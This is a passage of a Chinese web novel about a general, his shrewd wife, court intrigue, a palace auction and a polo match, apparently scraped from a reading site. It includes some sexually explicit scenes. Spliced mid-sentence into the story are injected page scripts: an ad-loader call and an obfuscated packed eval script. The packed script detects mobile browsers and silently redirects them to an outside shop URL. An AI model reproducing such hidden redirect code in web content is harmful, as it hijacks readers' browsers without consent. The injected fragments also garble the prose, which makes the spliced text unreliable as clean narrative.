不过……这样也算挺舒服的,她哼唧一声,也就懒懒地卧着了。 凌越见她这般,唇角勾起来,长臂横到她腰间,温存了片刻,才问起先前的对话:“循儿刚刚不是说知道了我的一个秘密,现在可以告诉我是什么了?” 提起这个,栖循立刻撇下了那点害羞,神色间有些小小得意:“其实也没什么,也就是知道了段将军的事而已。” 凌越听到段成,心中微微吃惊,面上却故作疑惑:“哦,段成怎么了?” 栖循略抬起身,看着他:“我知道段成已背叛杨珪,被大将军收入麾下了,崇宁公主会被嫁给杨景达的事,就是他告诉你的。” 凌越挑了挑眉,一手从她腰间往上,轻抚着她的乌发:“你是凭崇宁的事猜测的?这般大胆的猜想,只怕有人当面告诉杨相公,他都不会信。” “大将军就别装了,”栖循笑得眼眸晶亮,“你昨夜在雀衣巷和他见了一面,不是么?” 凌越抚发的手顿住,那天告诉她崇宁的事时,就知道凭她的聪明敏锐,可能会猜测到段成和自己的关系,但却绝没想到她竟还能证实此事,段成可是向来谨慎的,那些守在巷子暗处的亲卫竟也没有发现什么。 不过,被她知道了,似乎也没什么。他低低一笑:“没想到循儿手里还有如此高手,有机会倒是要见见。只是这可算本将军最大最要命的秘密之一了,你就这么说出来,不怕我做什么?” 栖循忍不住伸出一根手指,戳了戳他硬邦邦的胸口:“怎么,大将军还没下榻呢,就要杀人灭口不成?” 这是吃准了自己。 凌越狭了狭眸,想到这些时日来,眼前的女子如何一步一步让自己越来越相信她,心头就像被收了爪子的小猫挠了一下,微微有些痒。他看着她,声又低下来: “杀人灭口确实还舍不得,但本将军可以造一座金屋把你关起来,从此以后就只有我能看见你,你也只能看见我,每次我们见面,我也不做别的,不和你说别的,就只和你做刚刚那事,次次都叫你如刚刚那样,时日一久,你对外面那些事就再不会感兴趣了,每日只会盼着那一件事,盼着我留在你的床榻之上,盼着和我共赴巫山。这样,你怕不怕?” 栖循目瞪口呆地听他说完,忽地扑哧一声笑了,她想得到关起来这招,却没料到,凌越平时一副杀伐果断倨傲冷峻的模样,竟会说出后面那些妄诞荒唐的话来。 掌下块垒分明,手感尤好,她轻轻划拉了两下:“我要是变成那样,大将军还能喜欢么?” 凌越手臂一抬,捉住了她作乱的手,而后蓦地抱着人一转,已把她压到了身下,笑起来:“确实,美人常有,循儿这样的却不会有第二个了,要是变成那样,可比杀人灭口还让我难受。” 栖循正想着这话还算顺耳呢,就一下天旋地转地颠倒了个个儿,两个都赤.条条的,一点点变化便立刻感觉到了,她记起方才浴池里那一遭凶悍,忙慌得去挡他揉握的大手:“说话就说话,你、你别乱来,我要就寝了!” 凌越朗笑:“方才不是还呷醋么?没得几次,怎么够证明本将军没有其他人呢?” 话落,俊脸便埋首到那堆软腻雪白间,没多久,浴房里又传出一声急过一声,让人听着便脸红心跳的轻吟哭泣和交错喘息…… 22.圣寿节 翌日清晨,屋子里已天光大亮,栖循悠悠转醒,慢慢睁开了眸子,鼻间嗅到一点淡淡的桂花清香。 身侧无人。 她眨了下眼,刚在温暖的衾被里动了动,又蓦地定住了——腰间酸软不堪,某处更是仿佛还残留着满满涨涨的感觉。 莹白面上渐渐发热,灼人的记忆一下如潮水般全涌回了脑海里。 昨夜,凌越就跟不知餍足的虎狼似的,丝毫没有节制,在浴房窄榻上弄了她一回不够,又抱着她在这主屋的床上折腾了许久,弄得又狠又重,非得问她信不信了只自己一个,最后还坐去了那圈椅里,叫她自己…… 这般记起来时,栖循情不自禁绞了下腿,又倏地反应过来,不由一阵羞恼,忙忍着酸软快快从被里坐起,朝外唤人。 如棠和如葵很快进来了,两个都带着藏不住的喜色,栖循装作没看见,可待到换衣时,在镜前看到自己雪白肌肤上斑驳青紫的各种指痕,耳朵尖还是红了红。 很快换完了衣,如葵伺候她洗漱,如棠去开窗子。窗子一开,栖循就隐隐听到什么,她用细棉帕子擦着手奇怪道:“外头什么声音?” 如葵就等着她问呢,这时赶紧眉飞色舞地禀报:“夫人,是大将军在练剑呢!早先已舞完了一套剑法,奴婢们就问他要不要先用早食,他说等夫人起来一起用,于是奴婢们又问他时辰到了,要不要唤夫人您起来了,结果大将军还是说不用,说要让夫人多睡一会儿,还特意交代我们小声些,然后他自己便又练起了第二套剑法。” 栖循:“……”还以为凌越已经走了呢。 她随意嗯了声,不疾不徐地洗漱完,松松绾了发,这才信步朝窗口走去。 便见院子里的几株金桂下,挺拔俊美的男子手中一柄寒光凛凛的宝剑,击刺之间,身姿潇洒,袍角飞扬,肃肃如劲松傲立。 栖循站着看了一会儿,忍不住伸手揉了揉后腰,心里暗暗腹诽,这男人的精力真是旺盛,昨夜折腾得自己骨软筋麻疲惫不堪,他倒好,看不出一点累不说,好似还更神采奕奕了。 随即念头又一转,想到自己本来不就是带着享用的心思么,若非这般龙精虎猛的,大约也就不好用了?况且若能等到他日天下大定,她必会功成身退,也合该趁现在让他多出出力呢…… 她这厢胡思乱想着,那边凌越余光扫过,也看到了窗内的人,唇角微微一弯,原有些冷峻的脸上便浮出俊朗的神采,他利落地挽了个剑花收回剑,扔给一旁的长右后,长腿便往正屋里迈去。 进了屋,正见里面的人也往外间过来,凌越走上去,低头看她:“夫人睡醒了?可有哪里不适?” 栖循抿抿唇,虽说是享用,可想到昨夜到底是叫这男人掌控了一切,自己抵抗不了一点,心里总隐隐有些较劲,于是也不提身上的酸软怠懒,只垂眸说没有。 凌越轻笑,修长有力的手往她后腰颇有技巧地揉了揉,为她缓解,口中道:“没有不舒服,但也该饿了。” 说完,揽着人进了花厅。 花厅里如上次一样,桌上摆了四五样精致小点,几道酱菜,并清粥牛乳。 两人坐下来,边用早食边随意闲谈。 一夜亲密消解的不仅是身体上的生疏,二人说起话来,也隐约多了几分亲近和信任,再加上前段时间风波不断,眼下总算得一时消停,桌上的氛围颇为轻松。 聊了一会儿,话题自然而然转到正事上,栖循似不经意般又提起了谢云昭:“离圣寿节也就十日了,我听说祁王三日后就能抵京,竟是要住在皇帝陛下给他安排的国邸里,不可谓不胆大呢。” 她此言自然不是指作为皇帝的高贽敢对谢云昭这异姓王做什么,就和凌越有整个北军做保障一样,谢云昭亦有整个江南的兵势做保障,且谢家根基已经太深,高贽根本不敢动他,敢动他的另有其人——谢家自己的人。 老祁王的三个嫡子早已在谢云昭手下败得彻底,唯有嫡女谢云英,女子之身却善领兵打仗,很早就掌握了谢家一半的兵权,又有母家势力支持,谢云昭压制得了她,但要一劳永逸地解决问题却还需要时间。而谢云英野心极大,表面虽认了谢云昭这庶弟承袭王位,暗里一直想让同胞幼弟取而代之,好让自己在幕后实掌大权。 凌越自是明白她话中意思,如今他也愿意与她谈朝政或是天下形势,甚至颇有些喜欢看她说这些事时的聪慧灵动,于是很配合地分析道: “确实大胆,若我是谢云英,一定会抓住这么好的机会,想尽办法将谢云昭刺杀在京中,毕竟国邸再如何布防,也比不上谢云昭自己安排的地方安全,即使刺杀不成,也要趁谢云昭离开建康时,在江南内部搅动风云,削弱谢云昭的威信和实力,甚至,让他不敢回去。” “不过,”他又笑道,“谢云昭敢这么做,必然也做好了准备,我猜他早已遣人先行入京,而且所遣之人必定也不简单。” 栖循想着天禄院里与自己合奏那个清雅昳丽的男人,心道凌越猜得确实不错,可惜她不能提,她抿了一小口牛乳,说有理,“只是无论如何准备,于他仍是危险万分,将军觉得,有什么事值得祁王冒着这么大风险,特意来一趟京城?” 凌越没有直接回答:“这件事必然对他未来争夺天下有极大的益处,甚至有扭转乾坤之力,夫人觉得会是为了什么?” 栖循:“要么是京中还有他觉得值得且可以拉拢的势力,尤其是手中有兵权的那几位,如这次没去平乱的忠勤伯和广平侯,要么是他想和高贽再谈什么条件,以增加江南之朝贡换取汝阴一带的封地,以便将来北上,又或者……要高贽为他加个九锡?” 说到这,她自己先笑起来,前两项有可能,加九锡却真是玩笑了,高家天下确实已经飘摇欲坠,但高贽却还是握着实权的,谢云昭远不能挟天子令诸侯,除非他能把人“请”到江南去。 凌越见她未施粉黛的脸笑得明艳动人,不知为何,却忽然有些不想在此刻再听她谈其他男人,于是抬手过去,将她鬓边一缕碎发轻理到耳后,“他的目的究竟何在,等人入了京我们再看,现下,循儿不如先想想眼前的人?” 栖循听他又叫自己循儿,心中微动:“将军都在我眼前了,还要我想什么?” 凌越便道:“早就听说京城内外各处景致极好,可我自年初回京却一直忙于政事,还未有时间好好看过,连乐游原都未曾去过,循儿可愿在圣寿节前陪我游一游? 栖循微微挑了挑秀眉,难得不太能明白凌越的想法。凌越与自己做那事,她可以理解,因她有自信凌越对自己有几分欣赏和喜欢,自己又本就是他明媒正娶的妻,可让自己陪他出去游玩就不一样了,总觉得带着更亲密的意味,他也不怕传到静慈庵里的人耳朵里?不怕那心尖上的人会跟他耍小性子么? 不太明白,不过既然凌越自己不担心,那她也没必要替他多操这份心就是了,况且乐游原也好,其他景致也罢,也不知还能存续多久,是该趁现在多看一看。 这么一想,便也不再犹豫,当下浅浅一笑,应了声“好”。 …… . 接下来几天,栖循当真在凌越有空闲时,陪他出游了两次,这对她来说其实是挺新鲜的体验,十二岁以前,她只和母亲及族中女眷出去游玩过,十二岁以后便一直跟着外祖在外游历,这还是第一次和一个年轻男子如此长时间的共处。 从新奇到渐渐熟悉,栖循发现自己和凌越不仅对许多事的看法极为相似,而且还颇有默契,过去也从没有谁能像凌越这样了解自己的心思,有时她甚至还未说出口,凌越已经猜到她想做什么。 只是,这个发现也不过让人愈加觉得遗憾罢了。 其余时间,两人还是各干各的事,毕竟目前的处境不容大意, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 既要提防高贽和崇宁李如岳背后之人新的阴谋诡计,又要随时掌握局势情况,尤其是京城之外各股势力的动向,除此之外,凌越还要想办法在没有直接兵权的情况下,暗中选锋补缺,以备危急之时。 都是费细功夫的事。 如此十日很快过去,终于到了圣寿节。 所谓圣寿节,即为帝王生辰而设的诞节。大殷初立时,太祖太宗的诞节不过庆祝一日,后来慢慢变为两日三日,嘉礼、庆贺与进奉也日渐铺张盛大,极为劳民伤财,到高贽登基后,更是可以用荒唐来形容。 这位熬到中年才登基的皇帝,将自己的圣寿节增加到了五日,前三日—— 第一、二日,依惯例在大觉寺设祝圣斋筵,分别由大将军凌越和宰相杨珪率修武郎以上武官和宣教郎以上文官赴宴。 第三日圣寿节当日,皇帝高贽御垂拱殿,宰相杨珪率文武百官和各国使臣上寿,进贺礼,之后在集英殿开大宴,宴宰执高官、亲王宗室及各地贺生辰使,筵宴从午入夜,期间,教坊乐人效百禽,燕乐曲舞等不提。 这三日虽奢侈浪费,都还算是依以往惯例,但在多出来的后两日里,高贽却安排了两个匪夷所思的活动—— 第四日,开琼林苑,设百戏高台,遍邀京中百官公侯等家中未出阁的女子入苑看戏。说是看戏,其实就是高贽选妃,选中的记录在册,第二日就会被召进宫里,甚至还有当天就直接被宠幸的。 第五日,下午倒算正常,乃是一场马毬赛,但上午却比前一日更荒唐,高贽要在宫中开市场,竞卖私库之物,前四日收到的贺礼大部分也会在这日被卖出去。说白了,这就一场由皇帝亲自主持的卖官鬻爵,许多官员前脚奉上的贺礼,后脚便加上几倍的价钱自个儿再买回去,这中间的差价都会被内侍忠实记录在册,以便之后高贽依此赏官赏爵,至于那些官员哪来这么多钱“挥霍”,高贽是不会关心的。 栖循以往对圣寿节并不感兴趣,但今次却不一样,尤其是第三日圣寿节当日,天刚黑下,她便特意坐到了前厅,等着凌越从筵宴上回来。 至戌时末,高峻的身影终于出现在厅外。 栖循眼睛一亮,立刻放下手里的书卷,迎上去:“回来了?今日,大将军可见到那祁王谢云昭了?” 凌越看了她一眼,脱下身上的玄金大氅,随意往圈椅上一放,“夫人特意等到此时,就是为了问这事?” 栖循未觉有异,应了一声,因着前些日子的亲近,不自觉又往他身边靠了一步:“将军就不要与我卖关子了,那谢云昭进京后,一直以水土不服为由在国邸休养,既不出门,也不见外人,京中谁都没见过他的真面目,你也知道,我早就好奇难耐了,今日上寿筵宴,他总得出现了吧?” 凌越见她对自己没有丝毫隐藏,心中愉悦,笑了笑,总算回答她:“今日他确实现身了,只不过筵宴上走得比我还早。” 栖循立刻又追问:“这么说,将军终于见着人了,想必也和他有过交谈了,此人究竟如何?” 凌越微顿,想起下午在宴上与谢云昭短暂的视线交锋,墨眸中隐隐泛起凛冽之色,缓缓道:“他日取天下,变数之最必是此子。” 栖循一怔,没料到会是这样直接且针锋相对的评语,不由牵了唇:“将军这么说,倒是弄得我更想亲眼见一见了。你说,后日的马毬赛,他会不会去?” 凌越低头见她眼底兴致盎然,抬了抬眉,一把将人搂进了怀里:“他去不去我不知道,不过,循儿去了,不看自己的夫君,竟是要看别的男子?” “……将军故意曲解我的意思!”栖循差点被他的话带进去,反应过来,嗔了一句,便伸手推他,“不与你说了,我回含章院休息了。” “回什么含章院?”凌越却轻笑,一倾身已稳稳将她横抱了起来,在莹白的耳边低低道,“今夜就宿在尧光阁……” 23.入场 荒唐的“选妃日”过去,便到了圣寿节的第五日。 这一日,上午是宫市竞买,下午是马毬赛,两项都允许贵家女眷参与观看,只不过要想入宫,人人都得提前“孝敬”皇帝五十两银子。 ——说实话,有时候,连栖循都佩服高贽这搞钱敛财的点子,他不做皇帝,做个商人肯定能成功。 往年,栖循并未参与过这两项活动,但今次却是兴致满满,一是因凌越就是下午马毬赛最大的看头,二自然是想碰碰运气,看有没有机会见到那个神秘的祁王。 辰时正,她与凌越一道从尧光阁出来,凌越今日穿了身紫蟒箭袖锦袍,躞蹀玉带紧束,栖循则选了藕荷色的销金曳地华裙,戴了那对宫灯耳坠,初秋晨阳之下,一深一浅,一威赫高拔,一纤秀端庄,走在一处,煞是相称又惹眼。 没一会儿,两人到了府门外,栖循提裙上马车后,掀开帘栊看了看,凌越正驭马护在车窗边,她抿唇一笑,又放下了帘栊。 一行车马启动,走了约两盏茶不到,在大明宫望仙门外缓缓停了下来。 如棠打开了车帘子,栖循微微俯身,钻出车厢,就见凌越已经先一步下马,正站在车下朝她笑道:“夫人小心。” 栖循自然没与他客气,搭着他修长有力的手便下了车,眼波斜去,戏谑道:“将军可真是越来越体贴了。” “夫人受用就好。”凌越大掌没有放开她的手,眸中笑意更深。 两人刚要再说什么时,忽然一道略上年纪的男子声音横插了进来—— “凌将军,真是巧,没想到今日不上朝也遇上了。” 栖循一听这嗓音便略蹙了蹙眉,随凌越一起侧首看去,只见马车前方不远处,正站着一个颇有些“仙风道骨”的中年男人,白面美须,满面带笑,果然是当朝宰相杨珪。 他身后还站一个华服青年,样貌也算不错,但脸上却透着一股阴邪之气,是杨珪的长子杨景达。 凌越敛了眼底情绪,放开栖循的手,转身与杨珪互相见了个礼,淡道:“原来是杨相公和杨侍郎。” 杨珪捋着长须,仍是笑得一脸仁善:“老夫倒是没想到,凌将军竟也对这宫市感兴趣?” 凌越凉笑一声:“倒也算不上兴趣,不过是陪内人出来走走,自是没有财力像杨相公这般一掷万金,货以马驼,改日朝会,想必陛下又有封赏。” 这话是讥讽杨珪身为宰辅,却带头招权纳贿,肆行贪污,再用贪得的钱财逢迎上意。杨氏父子自然听得懂,杨珪神色却丝毫未变,泰然自若:“老夫确实素爱收藏,难得陛下雅量割爱,愿与吾等同享私库,吾等自然也不能辜负陛下圣心,凌将军你说是不是?” 凌越听得心中愈加厌恶,懒得再与他说这些冠冕堂皇的话,只道:“如此,凌某也不耽误杨相公的时间,免得两位错过了宝物。” 双方在朝堂内外交锋过无数次,话至此,明摆着该各走各道了,不料,杨珪身后的杨景达突然插话进来,声音似鬼魅般轻飘:“凌将军,此番宫市可是有前朝郭皇后那支二龙戏珠钿口,我瞧着,倒与尊夫人颇为相配,不妨竞一竞?” 他这般说着,一双狭长的眼睛也乜向栖循,栖循只觉得那目光如一条蛇般湿湿黏黏爬过身上,心里一阵恶心。 凌越往她身前挡了半步,声音冷下来:“多谢杨侍郎提醒了。” “不谢。”杨景达仿佛没听出他话中杀意,收回目光笑了笑,经过凌越身侧时,又意味深长地说了一句,“人生苦短,及时行乐啊,凌大将军。” 杨景达那阴邪的语调和其中暗含的恶意,令栖循又蹙起眉,想到了崇宁,她隐隐预感到高贽和杨家父子更深的阴谋就在不远了,而对崇宁来说,相比单纯地被利用,嫁给杨景达简直是残忍千倍万倍的事。 “无需多想,”这时,凌越偏头看她,手也再次牵住了人,“有我在,自可应对。” 栖循闻此,不由抬头对他莞尔一笑:“好,听凌大将军的。” 这一遭小插曲过去,二人也相携进了宫门,跟着领路的内侍走了一阵后,到了开宫市的大殿前,只见原本开阔空旷的地方搭起了七个帷幄大帐,每个帐前标示了不同类目的藏品宝物,帐子四周则有禁军严密保护。 此时多数人都已进了各个大帐内竞买,但陆陆续续有人在各个帐子间进出转换,出来的人无论男女,也无论是否依附杨珪,认得凌越的,便总是要上来行礼打个招呼的,当然也免不了带着各不相同的目光打量两人。 夫妻二人处了这小半月,早有了默契,倒是配合得好,除了和刘安礼姐弟多说了几句,及和李如岳夫妇打了几句机锋外,其他人一概被快快应付过去。 在几个帐子里转了一圈,观摩了那些求官求爵的人如何疯狂加价,尤其是看到杨景达提到的二龙戏珠钿口竟卖到了八千两银子后,栖循小声对身边人酸道:“皇帝陛下这钱也太好赚了,就这一上午,可比我换个时兴几个月赚得都多。” 凌越听了低笑一声。换时兴的事是他昨晚才知道的,昨夜两人办完事温存时,谈起了今日的宫市,之后就聊到了生意之事上,凌越才知道,他当初腹诽的奸商就是枕边人。只是如今他已明白了她所有作为背后的动机,自然又是另一番看法了。 最后一个大帐是兵器鞍具之类,两人进去后,凌越这大将军还未说什么,栖循看到那柄青霜剑出鞘时,却是一下动了心,当下撇了昨夜说的不买东西不给高贽送钱的话,扔了筹码出去。 凌越在一旁微微挑眉,看着她毫不犹豫地一次次快速加价,且人家都是一百两一百两加,她却是千两起加,豪爽得坐在前面的人都回头来看他二人,那喊价的内侍亦是嗓子都尖利了几分。 终于,在栖循一口气加了五千两,将价格直接抬到两万五千两的天价后,帐内寂静许久,没有人再加价了,内侍在铜罄响亮地敲了一记,宣布了青霜剑得主。 帐内其他人不论真情假意,都纷纷上来祝贺。 等禁军侍卫将宝剑送到眼前,栖循利落地从紫檀托盘上拿起剑,当着满满一帐子人呈到凌越面前,仰头俏声道:“大将军,宝剑赠英雄。” 凌越低头,看着她笑得狡黠又温柔的眉眼,心底一动,忽然想将她搂进怀里,想立刻狠狠吻她,想……他压下突如其来的情绪,在一帐视线中平静地从她手中接过剑,浓若泼墨的眸子看住她:“多谢夫人。” 栖循面上微红,忍着柔软的手心被修长手指挠动的痒意,与他相视一笑…… . 下午的马毬赛在琼林苑举行,凌越需得先去做准备,两人便暂时分开行动,栖循和刘安礼的阿姊相伴而行。 琼林苑是皇家园林,内中景色自不必说,两个新妇一路赏景,一路行到毬场时,场边为女眷们所设的几个亭帐里已来了不少人。 因上午和凌越牵手看宫市和赠宝剑的事早已传遍了,这时,一众命妇贵女再见到栖循,心底未必如何,面上都客气了许多。 栖循与众人简单寒暄后,先四下搜寻崇宁,可找了一圈都没看到人,只能作罢。 接着,她又作随意的样子,站到了阑边,展目望去,远处层层枫林微染红意,近处宽阔的马毬场边,翠柏苍松却依旧绿意浓重,毬场中间已有着赪紫或银白箭袖的世家子弟在策马挥杆,颇有意气风发之感。 栖循只瞧了一眼,见凌越不在其中,便立刻向另一侧男子的亭帐望去,想看看那祁王谢云昭是否来了,这可是她今天过来的主要目的。 男子那边的纱帐都被悬挂起来,望之一览无余,栖循先仔细在正中间的亭帐里分辨了片刻,接着往左侧寻去,视线回到正中,又往右边去找……如此来回找了两遍,她眉心皱了皱 ——虽然还没见过谢云昭,但她可以确定,人没来。那边诸多男子里,并没有担得上前夜凌越那样评价的人。 这祁王好不容易来一趟京城,难道是打算面都不露一下就离开吗?他究竟是来做什么的?! 栖循有些郁闷,并非因为好奇心没得到满足,而是谢云昭越神秘,那天裴云晞带给她的不安就越明显。 “循儿。”这时,刘娘子轻声提醒。 栖循回过神,方顺着她的视线望过去,就听到尖利的一声——“圣驾到!” 一大群内侍侍卫簇拥之下,明黄的帝王仪驾远远过来了,御撵后还跟着一个步撵,步撵上坐的人正是崇宁公主。 甭管天下如何乱,大殷只要还没彻底倾覆,皇权便高高在上,男女亭帐里的众人于是皆垂首俯身行礼,直到御撵缓缓行过,御撵上的人登上了那高台御座,才直起身来。 栖循也跟着直起身,望向高台,御座上的皇帝年近四十,身形比之前愈发瘦削虚弱了,远远看着,那龙袍像是挂在骷髅上似的。 难怪自四年前开始,任他如何频繁吃丹药临幸妃嫔,后宫都再无所出了。不过,高贽先前已有了三个皇子,且皇长子已经成年,剩下的两个,一个是崇宁的十岁胞弟三皇子,还有一个六岁的四皇子,目前身体都还算健康,无所出倒也不是问题。 “这么多皇女中,果然还是崇宁公主最受宠呢。”一旁刘娘子也看着那高台,低声与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009716|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栖循耳语道。 栖循抿抿唇,心里清楚高贽是刻意把崇宁带在身边,实则对这个女儿最冷酷无情,而崇宁坐在御座旁,看似在说笑,身体姿态却分明是紧张的,神态也像心神不定。但这些话不好和刘娘子说,她只能“嗯”了一声算作回应。 “出来了,快看!”亭帐中忽有女子兴奋的轻呼响起。 栖循精神一振,目光重又转向马毬场。只见将要对阵的毬队双方正从东西两侧相向入场,一队着赪紫,一队着银白。 本都是京城最善骑射的世家男子,此时个个高踞骏马之上,手持球杆,昂首挺胸,愈发显得英姿飒爽,意气轩昂。 但其中最夺目的,毫无疑问还是凌越。 他单手握着缰绳,策马走在队伍前方,一身浓墨重彩的紫,衬出他肩背愈加挺拔利落,线条分明的下颌和高挺的鼻梁被阳光勾勒了道金边,显出一种锋锐的沉稳,英俊的眉眼间却又是年轻飞扬的神采。 栖循微翘了唇角,即便没见到谢云昭,这一趟出来倒也值了。 两队人马到了毬场中间,先向高台上的高贽行了礼,而后便各往后退,形成对阵之势。 观战的亭帐中全都安静下来,空气中隐隐透着丝紧张。 片刻后,内侍手中的信旗落下,马毬被抛向空中,两队人马疾射而出! 凌越速度极快,一马当先到达场中,利落一杆挑起了毬子,但对面显然早就商量好了战术,三人瞬间包夹过去,其中一人正是栖循的远方表哥广平侯世子元乐言;凌越被团团围住,却丝毫不乱,瞅准一个缝隙,精准地将毬传给了刘安礼,接着纵马向对面球门飞驰;对面的反应亦迅速,立刻分出两人去缠住刘安礼,刘安礼很快被迫得左右难支,偏偏其他队友的位置又被卡住,不得已又将毬传了回去。 那毬传得仓促,本是极难接,但凌越骑术极精,半个身体竟生生脱离马鞍向斜后方仰去,毬场周围一下响起惊呼! 惊呼还未落下,凌越却已惊险地接住了毬,而后精悍腰身一挺,便又稳稳地坐回马上;之后,他不再传毬,而是在队友的掩护下,娴熟地控制着马儿东西驱突,左右击球,就在离对方球门两丈远时,他蓦地一个马身突转,闪电般从元乐言等几人的包夹缝隙中奔跃而出,重重击球,毬子在空中划出一条漂亮的弧线,径直撞进了球门! “凌将军拔得头筹了!”亭帐里一阵惊呼议论,伴着一些意味不明的目光瞟向栖循。 栖循微微一笑,在战场上亲自率军陷阵的人,在毬场上自然是碾压京中子弟的。且她也猜到这定是凌越的策略,先声夺人,壮己声势,但接下来,却必定还是要和队友配合,一是因对面对他的防守肯定会更严密,二是他也要让队友有机会表现。 果然,第二球开始,凌越便不再独自带球深入,而是以他的速度、技巧、力量和对形势的判断,不断给队友创造机会,刘安礼、周砚等人也不负所望,都有了一两次精彩的表现,引得周围击掌喝彩。 如此没多久,紫队已得了四旗,而对面虽然实力其实并不弱,也打得很顽强,但仍只艰难得了一旗。 眼看要成一面倒的局势时,战况却慢慢焦灼起来。 栖循看出来,凌越开始故意放水了,毕竟是庆贺高贽诞节的宫廷毬赛,不好让场面太难看。 这般来回又比了一阵,刘娘子突然奇怪道:“循儿,我怎么觉得凌将军似乎有些针对元世子?元世子今日好像也特别卖力?” 栖循:“……” 她也看出来了。她这个表哥元乐言马毬打得其实还行,但他的性子就和相貌一样温和文气,向来不是太能争,可今日,他却完全是铆足了劲儿,净往凌越身边凑。而凌越对忠勤伯世子、李二公子等人分明还留了点面子,一见元乐言持球或者来防他,却是丝毫没有手下留情,次次搞得人灰头土脸…… 栖循心念微转,忽而想了什么,神色一时有些微妙,嘴上却只能答刘娘子道:“我倒是没发现……” 场上虽焦灼了不少,但双方比分还在继续再扩大,两炷香后,已到了八旗比三旗。 对面的士气显然有些绷不住了,亭帐里的女眷们也都看出来了,虽然众人多盯着凌越,但比赛若失了激烈,总是让人意兴阑珊的。 就在这档口,场边的内侍突然举起了彩旗,示意银白一方换人,众人正奇怪银白方还有什么人可以换,便听那内侍高声报—— “请祁王入场!” 周围霎时一片惊讶之声,栖循亦觉诧异,随即,却在看清从一侧缓缓驱马驰出的男子时,眸中巨震。 24.争锋 跨坐于马上的人一身利落的银白窄袖暗纹锦袍,面若冠玉,眉眼清绝,风姿更是清雅出尘,不是裴云晞是谁?! 亭帐里安静一瞬,旋即响起阵阵惊叹,既吃惊于一直未曾露面的祁王突然现身,又赞叹于谢云昭果如传闻中那般风神秀彻,但很快,诸多情绪都变作了一种热烈的兴奋—— “只听说祁王智谋过人,竟也善骑术马毬么?” “必然是了,若没七分自信,怎么敢去掠凌将军的锋芒?” “有道理,祁王对阵凌将军,这下好看了!” …… 栖循听着这些兴奋议论,脑袋嗡嗡直响。 裴云晞就是谢云昭?她竟然被同一个男人骗了两次?! 她这辈子还没被同一个人骗过两次,如果不是因为五年前先入为主的信任,这次也不会! 可为什么呢?半个月前他刻意隐藏身份尚能理解,五年前呢?那时她不过是一个跟着外祖行商游历的小姑娘,为什么要骗她?! “又要开始了,”这时,身旁沉静温婉的刘娘子也有些激动,转头问,“循儿,你替不替凌将军担心?” 栖循勉强压下复杂心绪,望着那个男人,抿抿唇道:“不担心,九渊自十六岁后,在战场上未闻败绩,今日也不会例外。” 话虽说得坚定,心底却不知为何,有一丝紧张。 场上,谢云昭已换下了李如岳的二公子,银白一方其他人围上去,大约是商量战术,片刻后,人又散开。谢云昭遥遥与凌越微笑致意,对阵双方退到争毬点后,场边内侍再次举起了黑金信旗,周遭屏息静待—— 下一瞬,信旗落下,二十六骑同时策马而出,马蹄隆隆,地面震颤! 凌越不出意外地又领先了一个马身,微俯身体疾驰在紫队最前方,没想到的是,对面的谢云昭琴弹得好,于骑术竟也精湛无比,亦如离弦之箭,跑在众人之前。 开阔的马毬场内,一紫一白,两道同样挺拔流利的身姿相向飞驰,疾速接近,终于,侧身而过,凌越还是快了一步,先挑起了毬子! 如之前一般,对面立刻跟上三人,包夹而来,凌越左右连击数十下,正当对面以为他又要将球传给右前方的刘安礼时,他忽然脚下一顶马腹,令座下骏马向左侧微转,而后迅速从一个刁钻的角度将毬传给了另一边的周砚。 毬传出后,凌越便要纵马往对面球门驰去,目光却倏地一顿,那谢云昭不知何时已绕到周砚马侧,迫得周砚不得不转向击球——自己的策略竟被提前看破了。 周砚的力量和技巧显然都不如谢云昭,又被谢云昭巧妙地卡住了位置,无法传毬,眼看毬就要丢,凌越迅速从前方回身去救;两人对了一个眼神,周砚立时意会,配合送毬,就在凌越马上要碰到毬时,却蓦地被另一杆球杖精准而用力的一格,是谢云昭,电光火石之间,四目对视一瞬,凌越眸一狭——又被看破了么。 毬子被高高击起,凌越待要再去抢毬,却被元乐言等人赶上死死缠住。 谢云昭趁此时机,抢过毬便往紫方球门飞驰,刘安礼等人迅速围上去夹击,却愣是挡不住他,片刻之间已让人到了球门前,但这时,周砚和另外一人也赶了上来。眼看就要被紫方数人包夹,谢云昭忽然在一个谁都没想到的位置,来了个高难度后仰击球,毬子进了! 场边瞬间响起一片喝彩叫好之声! 谢云昭缓缓勒转马头,朝不远处的凌越勾唇一笑。 凌越不疾不徐地转了转手腕,亦是一笑——看来得认真一点了。 这一毬不止是得了一旗,更让银白方的士气陡然一振,下一局一开毬,双方便争夺激烈。 两方各以凌越和谢云昭为核心,配合、掩护、追挡、抢击,毬子在两边数度转换,难分胜负。 焦灼许久后,毬终于又到了凌越手里,他在对面的严密防守中左驱右突,毬在杆上连击百数下后,突然出现了一个失误,毬击偏了,元乐言等三人立刻抢上。凌越等的就是这时,球杖转瞬间从右手换到左手,而后斜里将毬往前一击,人亦从那三人露出的破绽中策马冲了出去。 可那虚晃一枪骗得了元乐言等人,却骗不过谢云昭,凌越刚疾驰至前方接住了毬,紧随在侧的谢云昭已近身抄到了他马前,这个位置正好让凌越无法直击入门,也阻在了他和其他紫队人之间,极难传毬。正是左右局促之际,凌越忽地将球击向侧后方,而后身体骤然往后仰去,球杖也瞬间回到右手,一个重击—— “进了!” “九渊,好样的!” 刘安礼和周砚几乎同时高喊一声。 ——凌越竟是争锋相对地,还了谢云昭一个后仰击球! 男女亭帐里瞬间传出了更为热烈的叫好高呼,栖循看着场上对峙着的两个男人,方才为凌越绷紧的弦终于微微松了一些。 接下来,双方攻势愈发凌厉,凌越和谢云昭的对决也愈发锋芒毕露,谢云昭很快再进一毬,凌越立刻又以还击,两方所得胜旗数量开始交替上升…… 越是这样势均力敌的对阵,越是扣人心弦,亭帐里的女眷们全都看得紧张不已,惊呼不断,连向来以稳重自居的几个年长命妇也没忍住,起身观看。 